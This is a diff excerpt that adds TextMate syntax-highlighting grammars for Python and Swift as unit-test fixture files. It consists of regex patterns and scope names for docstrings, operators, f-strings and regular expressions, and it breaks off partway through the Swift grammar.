"beginCaptures": { + "1": { + "name": "storage.type.string.python" + }, + "2": { + "name": "punctuation.definition.string.begin.python" + } + }, + "endCaptures": { + "1": { + "name": "punctuation.definition.string.end.python" + }, + "2": { + "name": "invalid.illegal.newline.python" + } + }, + "patterns": [ + { + "include": "#string-consume-escape" + }, + { + "include": "#codetags" + } + ] + } + ] + }, + "docstring-guts-unicode": { + "patterns": [ + { + "include": "#escape-sequence-unicode" + }, + { + "include": "#escape-sequence" + }, + { + "include": "#string-line-continuation" + } + ] + }, + "docstring-prompt": { + "match": "(?x)\n (?:\n (?:^|\\G) \\s* (?# '\\G' is necessary for ST)\n ((?:>>>|\\.\\.\\.) \\s) (?=\\s*\\S)\n )\n", + "captures": { + "1": { + "name": "keyword.control.flow.python" + } + } + }, + "statement-keyword": { + "patterns": [ + { + "name": "storage.type.function.python", + "match": "\\b((async\\s+)?\\s*def)\\b" + }, + { + "name": "keyword.control.flow.python", + "comment": "if `as` is eventually followed by `:` or line continuation\nit's probably control flow like:\n with foo as bar, \\\n Foo as Bar:\n try:\n do_stuff()\n except Exception as e:\n pass\n", + "match": "\\b(?>= | //= | \\*\\*=\n | \\+= | -= | /= | @=\n | \\*= | %= | ~= | \\^= | &= | \\|=\n | =(?!=)\n" + }, + "operator": { + "match": "(?x)\n \\b(?> | & | \\| | \\^ | ~) (?# 3)\n\n | (\\*\\* | \\* | \\+ | - | % | // | / | @) (?# 4)\n\n | (!= | == | >= | <= | < | >) (?# 5)\n\n | (:=) (?# 6)\n", + "captures": { + "1": { + "name": "keyword.operator.logical.python" + }, + "2": { + "name": "keyword.control.flow.python" + }, + "3": { + "name": "keyword.operator.bitwise.python" + }, + "4": { + "name": "keyword.operator.arithmetic.python" + }, + "5": { + "name": "keyword.operator.comparison.python" + }, + "6": { + "name": "keyword.operator.assignment.python" + } + } + }, + "punctuation": { + "patterns": [ + { + "name": "punctuation.separator.colon.python", + "match": ":" + }, + { + "name": "punctuation.separator.element.python", + "match": "," + } + ] + }, + "literal": { + "patterns": [ + { + "name": "constant.language.python", + "match": "\\b(True|False|None|NotImplemented|Ellipsis)\\b" + }, + { + "include": "#number" + } + ] + }, + "number": { + "name": "constant.numeric.python", + "patterns": [ + { + "include": "#number-float" + }, + { + "include": "#number-dec" + }, + { + "include": "#number-hex" + }, + { + "include": "#number-oct" + }, + { + "include": "#number-bin" + }, + { + "include": "#number-long" + }, + { + "name": "invalid.illegal.name.python", + "match": "\\b[0-9]+\\w+" + } + ] + }, + "number-float": { + "name": "constant.numeric.float.python", + "match": "(?x)\n (?=^]? [-+ ]? \\#?\n \\d* ,? (\\.\\d+)? [bcdeEfFgGnosxX%]? )?\n })\n )\n", + "captures": { + "1": { + "name": "constant.character.format.placeholder.other.python" + }, + "3": { + "name": "storage.type.format.python" + }, + "4": { + "name": "storage.type.format.python" + } + } + }, + { + "name": "meta.format.brace.python", + "match": "(?x)\n (\n {\n \\w* (\\.[[:alpha:]_]\\w* | \\[[^\\]'\"]+\\])*\n (![rsa])?\n (:)\n [^'\"{}\\n]* (?:\n \\{ [^'\"}\\n]*? \\} [^'\"{}\\n]*\n )*\n }\n )\n", + "captures": { + "1": { + "name": "constant.character.format.placeholder.other.python" + }, + "3": { + "name": "storage.type.format.python" + }, + "4": { + "name": "storage.type.format.python" + } + } + } + ] + }, + "fstring-formatting": { + "patterns": [ + { + "include": "#fstring-formatting-braces" + }, + { + "include": "#fstring-formatting-singe-brace" + } + ] + }, + "fstring-formatting-singe-brace": { + "name": "invalid.illegal.brace.python", + "match": "(}(?!}))" + }, + "import": { + "comment": "Import statements used to correctly mark `from`, `import`, and `as`\n", + "patterns": [ + { + "begin": "\\b(?)", + "end": "(?=:)", + "beginCaptures": { + "1": { + "name": "punctuation.separator.annotation.result.python" + } + }, + "patterns": [ + { + "include": "#expression" + } + ] + }, + "item-access": { + "patterns": [ + { + "name": "meta.item-access.python", + "begin": "(?x)\n \\b(?=\n [[:alpha:]_]\\w* \\s* \\[\n )\n", + "end": "(\\])", + "endCaptures": { + "1": { + "name": "punctuation.definition.arguments.end.python" + } + }, + "patterns": [ + { + "include": "#item-name" + }, + { + "include": "#item-index" + }, + { + "include": "#expression" + } + ] + } + ] + }, + "item-name": { + "patterns": [ + { + "include": "#special-variables" + }, + { + "include": "#builtin-functions" + }, + { + "include": "#special-names" + }, + { + "name": "meta.indexed-name.python", + "match": "(?x)\n \\b ([[:alpha:]_]\\w*) \\b\n" + } + ] + }, + "item-index": { + "begin": "(\\[)", + "end": "(?=\\])", + "beginCaptures": { + "1": { + "name": "punctuation.definition.arguments.begin.python" + } + }, + "contentName": "meta.item-access.arguments.python", + "patterns": [ + { + "name": "punctuation.separator.slice.python", + "match": ":" + }, + { + "include": "#expression" + } + ] + }, + "decorator": { + "name": "meta.function.decorator.python", + "begin": "(?x)\n ^\\s*\n ((@)) \\s* (?=[[:alpha:]_]\\w*)\n", + "end": "(?x)\n ( \\) )\n # trailing whitespace and comments are legal\n (?: (.*?) (?=\\s*(?:\\#|$)) )\n | (?=\\n|\\#)\n", + "beginCaptures": { + "1": { + "name": "entity.name.function.decorator.python" + }, + "2": { + "name": "punctuation.definition.decorator.python" + } + }, + "endCaptures": { + "1": { + "name": "punctuation.definition.arguments.end.python" + }, + "2": { + "name": "invalid.illegal.decorator.python" + } + }, + "patterns": [ + { + "include": "#decorator-name" + }, + { + "include": "#function-arguments" + } + ] + }, + "decorator-name": { + "patterns": [ + { + "include": "#builtin-callables" + }, + { + "include": "#illegal-object-name" + }, + { + "name": "entity.name.function.decorator.python", + "match": "(?x)\n ([[:alpha:]_]\\w*) | (\\.)\n", + "captures": { + "2": { + "name": "punctuation.separator.period.python" + } + } + }, + { + "include": "#line-continuation" + }, + { + "name": "invalid.illegal.decorator.python", + "match": "(?x)\n \\s* ([^([:alpha:]\\s_\\.#\\\\] .*?) (?=\\#|$)\n", + "captures": { + "1": { + "name": "invalid.illegal.decorator.python" + } + } + } + ] + }, + "call-wrapper-inheritance": { + "comment": "same as a function call, but in inheritance context", + "name": "meta.function-call.python", + "begin": "(?x)\n \\b(?=\n ([[:alpha:]_]\\w*) \\s* (\\()\n )\n", + "end": "(\\))", + "endCaptures": { + "1": { + "name": "punctuation.definition.arguments.end.python" + } + }, + "patterns": [ + { + "include": "#inheritance-name" + }, + { + "include": "#function-arguments" + } + ] + }, + "inheritance-name": { + "patterns": [ + { + "include": "#lambda-incomplete" + }, + { + "include": "#builtin-possible-callables" + }, + { + "include": "#inheritance-identifier" + } + ] + }, + "function-call": { + "name": "meta.function-call.python", + "comment": "Regular function call of the type \"name(args)\"", + "begin": "(?x)\n \\b(?=\n ([[:alpha:]_]\\w*) \\s* (\\()\n )\n", + "end": "(\\))", + "endCaptures": { + "1": { + "name": "punctuation.definition.arguments.end.python" + } + }, + "patterns": [ + { + "include": "#special-variables" + }, + { + "include": "#function-name" + }, + { + "include": "#function-arguments" + } + ] + }, + "function-name": { + "patterns": [ + { + "include": "#builtin-possible-callables" + }, + { + "comment": "Some color schemas support meta.function-call.generic scope", + "name": "meta.function-call.generic.python", + "match": "(?x)\n \\b ([[:alpha:]_]\\w*) \\b\n" + } + ] + }, + "function-arguments": { + "begin": "(\\()", + "end": "(?=\\))(?!\\)\\s*\\()", + "beginCaptures": { + "1": { + "name": "punctuation.definition.arguments.begin.python" + } + }, + "contentName": "meta.function-call.arguments.python", + "patterns": [ + { + "name": "punctuation.separator.arguments.python", + "match": "(,)" + }, + { + "match": "(?x)\n (?:(?<=[,(])|^) \\s* (\\*{1,2})\n", + "captures": { + "1": { + "name": "keyword.operator.unpacking.arguments.python" + } + } + }, + { + "include": "#lambda-incomplete" + }, + { + "include": "#illegal-names" + }, + { + "match": "\\b([[:alpha:]_]\\w*)\\s*(=)(?!=)", + "captures": { + "1": { + "name": "variable.parameter.function-call.python" + }, + "2": { + "name": "keyword.operator.assignment.python" + } + } + }, + { + "name": "keyword.operator.assignment.python", + "match": "=(?!=)" + }, + { + "include": "#expression" + }, + { + "match": "\\s*(\\))\\s*(\\()", + "captures": { + "1": { + "name": "punctuation.definition.arguments.end.python" + }, + "2": { + "name": "punctuation.definition.arguments.begin.python" + } + } + } + ] + }, + "builtin-callables": { + "patterns": [ + { + "include": "#illegal-names" + }, + { + "include": "#illegal-object-name" + }, + { + "include": "#builtin-exceptions" + }, + { + "include": "#builtin-functions" + }, + { + "include": "#builtin-types" + } + ] + }, + "builtin-possible-callables": { + "patterns": [ + { + "include": "#builtin-callables" + }, + { + "include": "#magic-names" + } + ] + }, + "builtin-exceptions": { + "name": "support.type.exception.python", + "match": "(?x) (?" + }, + "regexp-base-expression": { + "patterns": [ + { + "include": "#regexp-quantifier" + }, + { + "include": "#regexp-base-common" + } + ] + }, + "fregexp-base-expression": { + "patterns": [ + { + "include": "#fregexp-quantifier" + }, + { + "include": "#fstring-formatting-braces" + }, + { + "match": "\\{.*?\\}" + }, + { + "include": "#regexp-base-common" + } + ] + }, + "fstring-formatting-braces": { + "patterns": [ + { + "comment": "empty braces are illegal", + "match": "({)(\\s*?)(})", + "captures": { + "1": { + "name": "constant.character.format.placeholder.other.python" + }, + "2": { + "name": "invalid.illegal.brace.python" + }, + "3": { + "name": "constant.character.format.placeholder.other.python" + } + } + }, + { + "name": "constant.character.escape.python", + "match": "({{|}})" + } + ] + }, + "regexp-base-common": { + "patterns": [ + { + "name": "support.other.match.any.regexp", + "match": "\\." + }, + { + "name": "support.other.match.begin.regexp", + "match": "\\^" + }, + { + "name": "support.other.match.end.regexp", + "match": "\\$" + }, + { + "name": "keyword.operator.quantifier.regexp", + "match": "[+*?]\\??" + }, + { + "name": "keyword.operator.disjunction.regexp", + "match": "\\|" + }, + { + "include": "#regexp-escape-sequence" + } + ] + }, + "regexp-quantifier": { + "name": "keyword.operator.quantifier.regexp", + "match": "(?x)\n \\{(\n \\d+ | \\d+,(\\d+)? | ,\\d+\n )\\}\n" + }, + "fregexp-quantifier": { + "name": "keyword.operator.quantifier.regexp", + "match": "(?x)\n \\{\\{(\n \\d+ | \\d+,(\\d+)? | ,\\d+\n )\\}\\}\n" + }, + "regexp-backreference-number": { + "name": "meta.backreference.regexp", + "match": "(\\\\[1-9]\\d?)", + "captures": { + "1": { + "name": "entity.name.tag.backreference.regexp" + } + } + }, + "regexp-backreference": { + "name": "meta.backreference.named.regexp", + "match": "(?x)\n (\\() (\\?P= \\w+(?:\\s+[[:alnum:]]+)?) (\\))\n", + "captures": { + "1": { + "name": "support.other.parenthesis.regexp punctuation.parenthesis.backreference.named.begin.regexp" + }, + "2": { + "name": "entity.name.tag.named.backreference.regexp" + }, + "3": { + "name": "support.other.parenthesis.regexp punctuation.parenthesis.backreference.named.end.regexp" + } + } + }, + "regexp-flags": { + "name": "storage.modifier.flag.regexp", + "match": "\\(\\?[aiLmsux]+\\)" + }, + "regexp-escape-special": { + "name": "support.other.escape.special.regexp", + "match": "\\\\([AbBdDsSwWZ])" + }, + "regexp-escape-character": { + "name": "constant.character.escape.regexp", + "match": "(?x)\n \\\\ (\n x[0-9A-Fa-f]{2}\n | 0[0-7]{1,2}\n | [0-7]{3}\n )\n" + }, + "regexp-escape-unicode": { + "name": "constant.character.unicode.regexp", + "match": "(?x)\n \\\\ (\n u[0-9A-Fa-f]{4}\n | U[0-9A-Fa-f]{8}\n )\n" + }, + "regexp-escape-catchall": { + "name": "constant.character.escape.regexp", + "match": "\\\\(.|\\n)" + }, + "regexp-escape-sequence": { + "patterns": [ + { + "include": "#regexp-escape-special" + }, + { + "include": "#regexp-escape-character" + }, + { + "include": "#regexp-escape-unicode" + }, + { + "include": "#regexp-backreference-number" + }, + { + "include": "#regexp-escape-catchall" + } + ] + }, + "regexp-charecter-set-escapes": { + "patterns": [ + { + "name": "constant.character.escape.regexp", + "match": "\\\\[abfnrtv\\\\]" + }, + { + "include": "#regexp-escape-special" + }, + { + "name": "constant.character.escape.regexp", + "match": "\\\\([0-7]{1,3})" + }, + { + "include": "#regexp-escape-character" + }, + { + "include": "#regexp-escape-unicode" + }, + { + "include": "#regexp-escape-catchall" + } + ] + }, + "codetags": { + "match": "(?:\\b(NOTE|XXX|HACK|FIXME|BUG|TODO)\\b)", + "captures": { + "1": { + "name": "keyword.codetag.notation.python" + } + } + }, + "comments-base": { + "name": "comment.line.number-sign.python", + "begin": "(\\#)", + "beginCaptures": { + "1": { + "name": "punctuation.definition.comment.python" + } + }, + "end": "($)", + "patterns": [ + { + "include": "#codetags" + } + ] + }, + "comments-string-single-three": { + "name": "comment.line.number-sign.python", + "begin": "(\\#)", + "beginCaptures": { + "1": { + "name": "punctuation.definition.comment.python" + } + }, + "end": "($|(?='''))", + "patterns": [ + { + "include": "#codetags" + } + ] + }, + "comments-string-double-three": { + "name": "comment.line.number-sign.python", + "begin": "(\\#)", + "beginCaptures": { + "1": { + "name": "punctuation.definition.comment.python" + } + }, + "end": "($|(?=\"\"\"))", + "patterns": [ + { + "include": "#codetags" + } + ] + }, + "single-one-regexp-expression": { + "patterns": [ + { + "include": "#regexp-base-expression" + }, + { + "include": "#single-one-regexp-character-set" + }, + { + "include": "#single-one-regexp-comments" + }, + { + "include": "#regexp-flags" + }, + { + "include": "#single-one-regexp-named-group" + }, + { + "include": "#regexp-backreference" + }, + { + "include": "#single-one-regexp-lookahead" + }, + { + "include": "#single-one-regexp-lookahead-negative" + }, + { + "include": "#single-one-regexp-lookbehind" + }, + { + "include": "#single-one-regexp-lookbehind-negative" + }, + { + "include": "#single-one-regexp-conditional" + }, + { + "include": "#single-one-regexp-parentheses-non-capturing" + }, + { + "include": "#single-one-regexp-parentheses" + } + ] + }, + "single-one-regexp-character-set": { + "patterns": [ + { + "match": "(?x)\n \\[ \\^? \\] (?! .*?\\])\n" + }, + { + "name": "meta.character.set.regexp", + "begin": "(\\[)(\\^)?(\\])?", + "end": "(\\]|(?=\\'))|((?=(?)\n", + "end": "(\\)|(?=\\'))|((?=(?)\n", + "end": "(\\)|(?=\\'\\'\\'))", + "beginCaptures": { + "1": { + "name": "support.other.parenthesis.regexp punctuation.parenthesis.named.begin.regexp" + }, + "2": { + "name": "entity.name.tag.named.group.regexp" + } + }, + "endCaptures": { + "1": { + "name": "support.other.parenthesis.regexp punctuation.parenthesis.named.end.regexp" + }, + "2": { + "name": "invalid.illegal.newline.python" + } + }, + "patterns": [ + { + "include": "#single-three-regexp-expression" + }, + { + "include": "#comments-string-single-three" + } + ] + }, + "single-three-regexp-comments": { + "name": "comment.regexp", + "begin": "\\(\\?#", + "end": "(\\)|(?=\\'\\'\\'))", + "beginCaptures": { + "0": { + "name": "punctuation.comment.begin.regexp" + } + }, + "endCaptures": { + "1": { + "name": "punctuation.comment.end.regexp" + }, + "2": { + "name": "invalid.illegal.newline.python" + } + }, + "patterns": [ + { + "include": "#codetags" + } + ] + }, + "single-three-regexp-lookahead": { + "begin": "(\\()\\?=", + "end": "(\\)|(?=\\'\\'\\'))", + "beginCaptures": { + "0": { + "name": "keyword.operator.lookahead.regexp" + }, + "1": { + "name": "punctuation.parenthesis.lookahead.begin.regexp" + } + }, + "endCaptures": { + "1": { + "name": "keyword.operator.lookahead.regexp punctuation.parenthesis.lookahead.end.regexp" + }, + "2": { + "name": "invalid.illegal.newline.python" + } + }, + "patterns": [ + { + "include": "#single-three-regexp-expression" + }, + { + "include": "#comments-string-single-three" + } + ] + }, + "single-three-regexp-lookahead-negative": { + "begin": "(\\()\\?!", + "end": "(\\)|(?=\\'\\'\\'))", + "beginCaptures": { + "0": { + "name": "keyword.operator.lookahead.negative.regexp" + }, + "1": { + "name": "punctuation.parenthesis.lookahead.begin.regexp" + } + }, + "endCaptures": { + "1": { + "name": "keyword.operator.lookahead.negative.regexp punctuation.parenthesis.lookahead.end.regexp" + }, + "2": { + "name": "invalid.illegal.newline.python" + } + }, + "patterns": [ + { + "include": "#single-three-regexp-expression" + }, + { + "include": "#comments-string-single-three" + } + ] + }, + "single-three-regexp-lookbehind": { + "begin": "(\\()\\?<=", + "end": "(\\)|(?=\\'\\'\\'))", + "beginCaptures": { + "0": { + "name": "keyword.operator.lookbehind.regexp" + }, + "1": { + "name": "punctuation.parenthesis.lookbehind.begin.regexp" + } + }, + "endCaptures": { + "1": { + "name": "keyword.operator.lookbehind.regexp punctuation.parenthesis.lookbehind.end.regexp" + }, + "2": { + "name": "invalid.illegal.newline.python" + } + }, + "patterns": [ + { + "include": "#single-three-regexp-expression" + }, + { + "include": "#comments-string-single-three" + } + ] + }, + "single-three-regexp-lookbehind-negative": { + "begin": "(\\()\\?)\n", + "end": "(\\)|(?=\"))|((?=(?)\n", + "end": "(\\)|(?=\"\"\"))", + "beginCaptures": { + "1": { + "name": "support.other.parenthesis.regexp punctuation.parenthesis.named.begin.regexp" + }, + "2": { + "name": "entity.name.tag.named.group.regexp" + } + }, + "endCaptures": { + "1": { + "name": "support.other.parenthesis.regexp punctuation.parenthesis.named.end.regexp" + }, + "2": { + "name": "invalid.illegal.newline.python" + } + }, + "patterns": [ + { + "include": "#double-three-regexp-expression" + }, + { + "include": "#comments-string-double-three" + } + ] + }, + "double-three-regexp-comments": { + "name": "comment.regexp", + "begin": "\\(\\?#", + "end": "(\\)|(?=\"\"\"))", + "beginCaptures": { + "0": { + "name": "punctuation.comment.begin.regexp" + } + }, + "endCaptures": { + "1": { + "name": "punctuation.comment.end.regexp" + }, + "2": { + "name": "invalid.illegal.newline.python" + } + }, + "patterns": [ + { + "include": "#codetags" + } + ] + }, + "double-three-regexp-lookahead": { + "begin": "(\\()\\?=", + "end": "(\\)|(?=\"\"\"))", + "beginCaptures": { + "0": { + "name": "keyword.operator.lookahead.regexp" + }, + "1": { + "name": "punctuation.parenthesis.lookahead.begin.regexp" + } + }, + "endCaptures": { + "1": { + "name": "keyword.operator.lookahead.regexp punctuation.parenthesis.lookahead.end.regexp" + }, + "2": { + "name": "invalid.illegal.newline.python" + } + }, + "patterns": [ + { + "include": "#double-three-regexp-expression" + }, + { + "include": "#comments-string-double-three" + } + ] + }, + "double-three-regexp-lookahead-negative": { + "begin": "(\\()\\?!", + "end": "(\\)|(?=\"\"\"))", + "beginCaptures": { + "0": { + "name": "keyword.operator.lookahead.negative.regexp" + }, + "1": { + "name": "punctuation.parenthesis.lookahead.begin.regexp" + } + }, + "endCaptures": { + "1": { + "name": "keyword.operator.lookahead.negative.regexp punctuation.parenthesis.lookahead.end.regexp" + }, + "2": { + "name": "invalid.illegal.newline.python" + } + }, + "patterns": [ + { + "include": "#double-three-regexp-expression" + }, + { + "include": "#comments-string-double-three" + } + ] + }, + "double-three-regexp-lookbehind": { + "begin": "(\\()\\?<=", + "end": "(\\)|(?=\"\"\"))", + "beginCaptures": { + "0": { + "name": "keyword.operator.lookbehind.regexp" + }, + "1": { + "name": "punctuation.parenthesis.lookbehind.begin.regexp" + } + }, + "endCaptures": { + "1": { + "name": "keyword.operator.lookbehind.regexp punctuation.parenthesis.lookbehind.end.regexp" + }, + "2": { + "name": "invalid.illegal.newline.python" + } + }, + "patterns": [ + { + "include": "#double-three-regexp-expression" + }, + { + "include": "#comments-string-double-three" + } + ] + }, + "double-three-regexp-lookbehind-negative": { + "begin": "(\\()\\?=^]? [-+ ]? \\#?\n \\d* ,? (\\.\\d+)? [bcdeEfFgGnosxX%]? )(?=})\n", + "captures": { + "1": { + "name": "storage.type.format.python" + }, + "2": { + "name": "storage.type.format.python" + } + } + }, + { + "include": "#fstring-terminator-single-tail" + } + ] + }, + "fstring-terminator-single-tail": { + "begin": "((?:=?)(?:![rsa])?)(:)(?=.*?{)", + "end": "(?=})|(?=\\n)", + "beginCaptures": { + "1": { + "name": "storage.type.format.python" + }, + "2": { + "name": "storage.type.format.python" + } + }, + "patterns": [ + { + "include": "#fstring-illegal-single-brace" + }, + { + "include": "#fstring-single-brace" + }, + { + "name": "storage.type.format.python", + "match": "([bcdeEfFgGnosxX%])(?=})" + }, + { + "name": "storage.type.format.python", + "match": "(\\.\\d+)" + }, + { + "name": "storage.type.format.python", + "match": "(,)" + }, + { + "name": "storage.type.format.python", + "match": "(\\d+)" + }, + { + "name": "storage.type.format.python", + "match": "(\\#)" + }, + { + "name": "storage.type.format.python", + "match": "([-+ ])" + }, + { + "name": "storage.type.format.python", + "match": "([<>=^])" + }, + { + "name": "storage.type.format.python", + "match": "(\\w)" + } + ] + }, + "fstring-fnorm-quoted-multi-line": { + "name": "meta.fstring.python", + "begin": "(\\b[fF])([bBuU])?('''|\"\"\")", + "end": "(\\3)", + "beginCaptures": { + "1": { + "name": "string.interpolated.python string.quoted.multi.python storage.type.string.python" + }, + "2": { + "name": "invalid.illegal.prefix.python" + }, + "3": { + "name": "punctuation.definition.string.begin.python string.interpolated.python string.quoted.multi.python" + } + }, + "endCaptures": { + "1": { + "name": "punctuation.definition.string.end.python string.interpolated.python string.quoted.multi.python" + }, + "2": { + "name": "invalid.illegal.newline.python" + } + }, + "patterns": [ + { + "include": "#fstring-guts" + }, + { + "include": "#fstring-illegal-multi-brace" + }, + { + "include": "#fstring-multi-brace" + }, + { + "include": "#fstring-multi-core" + } + ] + }, + "fstring-normf-quoted-multi-line": { + "name": "meta.fstring.python", + "begin": "(\\b[bBuU])([fF])('''|\"\"\")", + "end": "(\\3)", + "beginCaptures": { + "1": { + "name": "invalid.illegal.prefix.python" + }, + "2": { + "name": "string.interpolated.python string.quoted.multi.python storage.type.string.python" + }, + "3": { + "name": "punctuation.definition.string.begin.python string.quoted.multi.python" + } + }, + "endCaptures": { + "1": { + "name": "punctuation.definition.string.end.python string.interpolated.python string.quoted.multi.python" + }, + "2": { + "name": "invalid.illegal.newline.python" + } + }, + "patterns": [ + { + "include": "#fstring-guts" + }, + { + "include": "#fstring-illegal-multi-brace" + }, + { + "include": "#fstring-multi-brace" + }, + { + "include": "#fstring-multi-core" + } + ] + }, + "fstring-raw-quoted-multi-line": { + "name": "meta.fstring.python", + "begin": "(\\b(?:[rR][fF]|[fF][rR]))('''|\"\"\")", + "end": "(\\2)", + "beginCaptures": { + "1": { + "name": "string.interpolated.python string.quoted.raw.multi.python storage.type.string.python" + }, + "2": { + "name": "punctuation.definition.string.begin.python string.quoted.raw.multi.python" + } + }, + "endCaptures": { + "1": { + "name": "punctuation.definition.string.end.python string.interpolated.python string.quoted.raw.multi.python" + }, + "2": { + "name": "invalid.illegal.newline.python" + } + }, + "patterns": [ + { + "include": "#fstring-raw-guts" + }, + { + "include": "#fstring-illegal-multi-brace" + }, + { + "include": "#fstring-multi-brace" + }, + { + "include": "#fstring-raw-multi-core" + } + ] + }, + "fstring-multi-core": { + "name": "string.interpolated.python string.quoted.multi.python", + "match": "(?x)\n (.+?)\n (\n (?# .* and .*? in multi-line match need special handling of\n newlines otherwise SublimeText and Atom will match slightly\n differently.\n\n The guard for newlines has to be separate from the\n lookahead because of special $ matching rule.)\n ($\\n?)\n |\n (?=[\\\\\\}\\{]|'''|\"\"\")\n )\n (?# due to how multiline regexps are matched we need a special case\n for matching a newline character)\n | \\n\n" + }, + "fstring-raw-multi-core": { + "name": "string.interpolated.python string.quoted.raw.multi.python", + "match": "(?x)\n (.+?)\n (\n (?# .* and .*? in multi-line match need special handling of\n newlines otherwise SublimeText and Atom will match slightly\n differently.\n\n The guard for newlines has to be separate from the\n lookahead because of special $ matching rule.)\n ($\\n?)\n |\n (?=[\\\\\\}\\{]|'''|\"\"\")\n )\n (?# due to how multiline regexps are matched we need a special case\n for matching a newline character)\n | \\n\n" + }, + "fstring-multi-brace": { + "comment": "value interpolation using { ... }", + "begin": "(\\{)", + "end": "(?x)\n (\\})\n", + "beginCaptures": { + "1": { + "name": "constant.character.format.placeholder.other.python" + } + }, + "endCaptures": { + "1": { + "name": "constant.character.format.placeholder.other.python" + } + }, + "patterns": [ + { + "include": "#fstring-terminator-multi" + }, + { + "include": "#f-expression" + } + ] + }, + "fstring-terminator-multi": { + "patterns": [ + { + "name": "storage.type.format.python", + "match": "(=(![rsa])?)(?=})" + }, + { + "name": "storage.type.format.python", + "match": "(=?![rsa])(?=})" + }, + { + "match": "(?x)\n ( (?: =?) (?: ![rsa])? )\n ( : \\w? [<>=^]? [-+ ]? \\#?\n \\d* ,? (\\.\\d+)? [bcdeEfFgGnosxX%]? )(?=})\n", + "captures": { + "1": { + "name": "storage.type.format.python" + }, + "2": { + "name": "storage.type.format.python" + } + } + }, + { + "include": "#fstring-terminator-multi-tail" + } + ] + }, + "fstring-terminator-multi-tail": { + "begin": "((?:=?)(?:![rsa])?)(:)(?=.*?{)", + "end": "(?=})", + "beginCaptures": { + "1": { + "name": "storage.type.format.python" + }, + "2": { + "name": "storage.type.format.python" + } + }, + "patterns": [ + { + "include": "#fstring-illegal-multi-brace" + }, + { + "include": "#fstring-multi-brace" + }, + { + "name": "storage.type.format.python", + "match": "([bcdeEfFgGnosxX%])(?=})" + }, + { + "name": "storage.type.format.python", + "match": "(\\.\\d+)" + }, + { + "name": "storage.type.format.python", + "match": "(,)" + }, + { + "name": "storage.type.format.python", + "match": "(\\d+)" + }, + { + "name": "storage.type.format.python", + "match": "(\\#)" + }, + { + "name": "storage.type.format.python", + "match": "([-+ ])" + }, + { + "name": "storage.type.format.python", + "match": "([<>=^])" + }, + { + "name": "storage.type.format.python", + "match": "(\\w)" + } + ] + } + } +} diff --git a/test/unit-tests/syntaxes/swift.tmLanguage.json b/test/unit-tests/syntaxes/swift.tmLanguage.json new file mode 100644 index 000000000..de84ef126 --- /dev/null +++ b/test/unit-tests/syntaxes/swift.tmLanguage.json @@ -0,0 +1,4239 @@ +{ + "information_for_contributors": [ + "This file has been converted from https://github.com/jtbandes/swift-tmlanguage/blob/master/Swift.tmLanguage.json", + "If you want to provide a fix or improvement, please create a pull request against the original repository.", + "Once accepted there, we are happy to receive an update request." + ], + "version": "https://github.com/jtbandes/swift-tmlanguage/commit/b8d2889b4af1d8bad41578317a6adade642555a3", + "name": "Swift", + "scopeName": "source.swift", + "comment": "See swift.tmbundle/grammar-test.swift for test cases.", + "patterns": [ + { + "include": "#root" + } + ], + "repository": { + "async-throws": { + "match": "\\b(?:(throws\\s+async|rethrows\\s+async)|(throws|rethrows)|(async))\\b", + "captures": { + "1": { + "name": "invalid.illegal.await-must-precede-throws.swift" + }, + "2": { + "name": "storage.modifier.exception.swift" + }, + "3": { + "name": "storage.modifier.async.swift" + } + } + }, + "attributes": { + "patterns": [ + { + "name": "meta.attribute.available.swift", + "begin": "((@)available)(\\()", + "end": "\\)", + "beginCaptures": { + "1": { + "name": "storage.modifier.attribute.swift" + }, + "2": { + "name": "punctuation.definition.attribute.swift" + }, + "3": { + "name": "punctuation.definition.arguments.begin.swift" + } + }, + "endCaptures": { + "0": { + "name": "punctuation.definition.arguments.end.swift" + } + }, + "patterns": [ + { + "match": "\\b(swift|(?:iOS|macOS|OSX|watchOS|tvOS|visionOS|UIKitForMac)(?:ApplicationExtension)?)\\b(?:\\s+([0-9]+(?:\\.[0-9]+)*\\b))?", + "captures": { + "1": { + "name": "keyword.other.platform.os.swift" + }, + "2": { + "name": "constant.numeric.swift" + } + } + }, + { + "begin": "\\b(introduced|deprecated|obsoleted)\\s*(:)\\s*", + "end": "(?!\\G)", + "beginCaptures": { + "1": { + "name": "keyword.other.swift" + }, + "2": { + "name": "punctuation.separator.key-value.swift" + } + }, + "patterns": [ + { + "name": "constant.numeric.swift", + "match": "\\b[0-9]+(?:\\.[0-9]+)*\\b" + } + ] + }, + { + "begin": "\\b(message|renamed)\\s*(:)\\s*(?=\")", + "end": "(?!\\G)", + "beginCaptures": { + "1": { + "name": "keyword.other.swift" + }, + "2": { + "name": "punctuation.separator.key-value.swift" + } + }, + "patterns": [ + { + "include": "#literals" + } + ] + }, + { + "match": "(?:(\\*)|\\b(deprecated|unavailable|noasync)\\b)\\s*(.*?)(?=[,)])", + "captures": { + "1": { + "name": "keyword.other.platform.all.swift" + }, + "2": { + "name": "keyword.other.swift" + }, + "3": { + "name": "invalid.illegal.character-not-allowed-here.swift" + } + } + } + ] + }, + { + "name": "meta.attribute.objc.swift", + "begin": "((@)objc)(\\()", + "end": "\\)", + "beginCaptures": { + "1": { + "name": "storage.modifier.attribute.swift" + }, + "2": { + "name": "punctuation.definition.attribute.swift" + }, + "3": { + "name": "punctuation.definition.arguments.begin.swift" + } + }, + "endCaptures": { + "0": { + "name": "punctuation.definition.arguments.end.swift" + } + }, + "patterns": [ + { + "name": "entity.name.function.swift", + "match": "\\w*(?::(?:\\w*:)*(\\w*))?", + "captures": { + "1": { + "name": "invalid.illegal.missing-colon-after-selector-piece.swift" + } + } + } + ] + }, + { + "comment": "any other attribute", + "name": "meta.attribute.swift", + "begin": "(@)(?`?)[\\p{L}_][\\p{L}_\\p{N}\\p{M}]*(\\k)", + "end": "(?!\\G\\()", + "beginCaptures": { + "0": { + "name": "storage.modifier.attribute.swift" + }, + "1": { + "name": "punctuation.definition.attribute.swift" + }, + "2": { + "name": "punctuation.definition.identifier.swift" + }, + "3": { + "name": "punctuation.definition.identifier.swift" + } + }, + "patterns": [ + { + "name": "meta.arguments.attribute.swift", + "begin": "\\(", + "end": "\\)", + "beginCaptures": { + "0": { + "name": "punctuation.definition.arguments.begin.swift" + } + }, + "endCaptures": { + "0": { + "name": "punctuation.definition.arguments.end.swift" + } + }, + "patterns": [ + { + "include": "#expressions" + } + ] + } + ] + } + ] + }, + "builtin-functions": { + "patterns": [ + { + "comment": "Member functions in the standard library in Swift 3 which may be used with trailing closures and no parentheses", + "name": "support.function.swift", + "match": 